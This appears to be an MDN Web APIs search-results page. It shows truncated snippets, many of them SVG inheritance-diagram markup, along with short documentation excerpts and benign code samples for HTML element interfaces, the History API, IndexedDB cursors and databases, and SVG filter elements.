ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlparagraphelement" target="_top"><rect x="291" y="65" width="200" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="391" y="94" font-size="12px" f...
...And 2 more matches
HTMLPreElement - Web APIs
the htmlpreelement interface
exposes specific properties and methods (beyond those of the htmlelement interface it also has available to it by inheritance) for manipulating a block of preformatted t
ext (<pre>).
...play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...And 2 more matches
HTMLSlotElement.assignedElements() - Web APIs
examples let slots = this.shadowroot.queryselector('slot'); let elements = slots.assignedelements({flatten: true}); specifications specification status comment html living standardthe definition of 'assignedelements()' in that specification.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetassignedelements
experimentalchrome full support 65edge full support 79firefox full support 66ie no support noopera full support yessafari ?
... samsung internet android full support 9.0legend full support full support no support no support compatibility unknown compatibility unknown
experimental.
...And 2 more matches
HTMLTitleElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltitleelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="411" y="94" font-size="12px" font-...
...And 2 more matches
HTMLVideoElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmediaelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="411" y="94" font-size="12px" font-fam...
...And 2 more matches
File drag and drop - Web APIs
these steps are described below, including
example code snippets.
...this
example illustrates the use of both apis (and does not use any gecko specific interfaces).
...in this
example, the drop target element uses the following styling: #drop_zone { border: 5px solid blue; width: 200px; height: 100px; } note that dragstart and dragend events are not fired when dragging a file into the browser from the os.
...And 2 more matches
HashChangeEvent - Web APIs
line-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">event</t
ext></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/hashchangeevent" target="_top"><rect x="116" y="1" width="150" height=...
..."50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="191" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">hashchangeevent</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface also inherits the properties of its parent, event.
...
examples syntax options for a hash change you can listen for the hashchange event using any of the following options: window.onhashchange = funcref; or <body onhashchange="funcref();"> or window.addeventlistener("hashchange", funcref, false); basic
example function locationhashchanged() { if (location.hash === '#somecoolfeature') { somecoolfeature(); } } window.addeventlistener('hashchange', locationhashchanged); polyfill there are several fallback scripts listed on the modernizr github page...
...And 2 more matches
History API - Web APIs
the dom window object provides access to the browser's session history (not to be confused for web
extensions history) through the history object.
... it
exposes useful methods and properties that let you navigate back and forth through the user's history, and manipulate the contents of the history stack.
... moving forward and backward to move backward through history: window.history.back() this acts
exactly as if the user clicked on the back button in their browser toolbar.
...And 2 more matches
IDBCursor.key - Web APIs
example in this simple fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store.
...for a complete working
example, see our idbcursor
example (view
example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = curs...
...or.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.key); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status comment ind
exed database api 2.0the definition of 'key' in that specification.
...And 2 more matches
IDBCursor.primaryKey - Web APIs
example in this simple fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store.
...for a complete working
example, see our idbcursor
example (view
example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = ...
...cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.primarykey); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status comment ind
exed database api 2.0the definition of 'primarykey' in that specification.
...And 2 more matches
IDBCursorWithValue.value - Web APIs
example in this
example we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store.
...for a complete working
example, see our idbcursor
example (view
example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchil...
...d(listitem); console.log(cursor.value); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status comment ind
exed database api 2.0the definition of 'source' in that specification.
...And 2 more matches
IDBDatabase.close() - Web APIs
methods that create transactions throw an
exception if a closing operation is pending.
... syntax idbdatabase.close();
example // let us open our database var dbopenrequest = window.ind
exeddb.open("todolist", 4); // opening a database.
... db.close(); }; specification specification status comment ind
exed database api 2.0the definition of 'close()' in that specification.
...And 2 more matches
IDBDatabase: close event - Web APIs
the close event is fired on idbdatabase when the database connection is un
expectedly closed.
... this could happen, for
example, if the underlying storage is removed or if the user clears the database in the browser's history preferences.
... bubbles no cancelable no interface event event handler property onerror
examples this
example opens a database and listens for the close event: // open the database const dbopenrequest = window.ind
exeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createind
ex('hours', 'hours', { unique: false }); objectstore.createind
ex('minutes', 'minutes', { unique: false }); objectstore.create...
...And 2 more matches
IDBDatabase.onabort - Web APIs
};
example this
example shows an idbopendbrequest.onupgradeneeded block that creates a new object store; it also includes onerror and onabort functions to handle non-success cases.
...ult; db.onerror = function() { note.innerhtml += '<li>error opening database.</li>'; }; db.onabort = function() { note.innerhtml += '<li>database opening aborted!</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createind
ex("hours", "hours", { unique: false }); objectstore.createind
ex("minutes", "minutes", { unique: false }); objectstore.createind
ex("day", "day", { unique: false }); objectstore.createind
ex("month", "month", { unique: false }); objectstore.createind
ex("year", "year", { unique: false }); objectstore.createind
ex("notified", "notified", { unique: false }); note.innerhtml += '<li>object sto...
...re created.</li>'; }; specifications specification status comment ind
exed database api 2.0the definition of 'onabort' in that specification.
...And 2 more matches
IDBDatabase.onerror - Web APIs
}
example this
example shows an idbopendbrequest.onupgradeneeded block that creates a new object store; it also includes onerror and onabort functions to handle non-success cases.
....onerror = function(event) { note.innerhtml += '<li>error opening database.</li>'; }; db.onabort = function(event) { note.innerhtml += '<li>database opening aborted!</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createind
ex("hours", "hours", { unique: false }); objectstore.createind
ex("minutes", "minutes", { unique: false }); objectstore.createind
ex("day", "day", { unique: false }); objectstore.createind
ex("month", "month", { unique: false }); objectstore.createind
ex("year", "year", { unique: false }); objectstore.createind
ex("notified", "notified", { unique: false }); note.innerhtml += '<li>object sto...
...re created.</li>'; }; specifications specification status comment ind
exed database api 2.0the definition of 'onerror' in that specification.
...And 2 more matches
IDBDatabase.onversionchange - Web APIs
}
example this
example shows an idbopendbrequest.onupgradeneeded block that creates a new object store; it also includes onerror and onabort functions to handle non-success cases, and an onversionchange function to notify when a database structure change has occurred.
....onerror = function(event) { note.innerhtml += '<li>error opening database.</li>'; }; db.onabort = function(event) { note.innerhtml += '<li>database opening aborted!</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createind
ex("hours", "hours", { unique: false }); objectstore.createind
ex("minutes", "minutes", { unique: false }); objectstore.createind
ex("day", "day", { unique: false }); objectstore.createind
ex("month", "month", { unique: false }); objectstore.createind
ex("year", "year", { unique: false }); objectstore.createind
ex("notified", "notified", { unique: false }); note.innerhtml += '<li>object sto...
...re created.</li>'; db.onversionchange = function(event) { note.innerhtml += '<li>a database change has occurred; you should refresh this browser window, or close it down and use the other open version of this application, wherever it
exists.</li>'; }; }; specifications specification status comment ind
exed database api 2.0the definition of 'onversionchange' in that specification.
...And 2 more matches
IDBFactorySync - Web APIs
important: the synchronous version of the ind
exeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
... the idbfactorysync interface of the ind
exeddb api provide a synchronous means of accessing the capabilities of ind
exed databases.
... method overview idbdatabasesync open (in domstring name, in domstring description, in optional boolean modifydatabase) raises (idbdatabase
exception); methods open() opens and returns a connection to a database.
...And 2 more matches
IDBKeyRange.includes() - Web APIs
exceptions this method may raise a dom
exception of the following type: attribute description dataerror the supplied key was not a valid key.
...
example var keyrangevalue = idbkeyrange.bound('a', 'k', false, false); var myresult = keyrangevalue.includes('f'); // returns true var myresult = keyrangevalue.includes('w'); // returns false polyfill the includes() method was added in the second edition of the ind
exed db specification.
... idbkeyrange.prototype.includes = idbkeyrange.prototype.includes || function(key) { var r = this, c; if (r.lower !== undefined) { c = ind
exeddb.cmp(key, r.lower); if (r.loweropen && c <= 0) return false; if (!r.loweropen && c < 0) return false; } if (r.upper !== undefined) { c = ind
exeddb.cmp(key, r.upper); if (r.upperopen && c >= 0) return false; if (!r.upperopen && c > 0) return false; } return true; }; specification specification status comment ind
exed database api draftthe definition of 'includes()' in that specification.
...And 2 more matches
IDBKeyRange.lower - Web APIs
syntax var lower = mykeyrange.lower value the lower bound of the key range (can be any type.)
example the following
example illustrates how you'd use a key range.
... note: for a more complete
example allowing you to
experiment with key range, have a look at our idbkeyrange-
example repo (view the
example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("f", "w", true, true); console.log(keyrangevalue.lower); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrange...
...ult; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment ind
exed database api 2.0the definition of 'lower' in that specification.
...And 2 more matches
SVGDefsElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="391" y="94" font-size="12px" font-fam...
...And 2 more matches
SVGFEBlendElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfeblendelement" target="_top"><rect x="311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="396" y="94" font-size="12px" font-f...
...And 2 more matches
SVGFEColorMatrixElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfecolormatrixelement" target="_top"><rect x="251" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="366" y="94" font-size="12px" ...
...And 2 more matches
SVGFECompositeElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfecompositeelement" target="_top"><rect x="271" y="65" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="376" y="94" font-size="12px" fo...
...And 2 more matches
SVGFEConvolveMatrixElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfeconvolvematrixelement" target="_top"><rect x="221" y="65" width="260" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="351" y="94" font-size="12p...
...And 2 more matches
SVGFEDisplacementMapElement - Web APIs
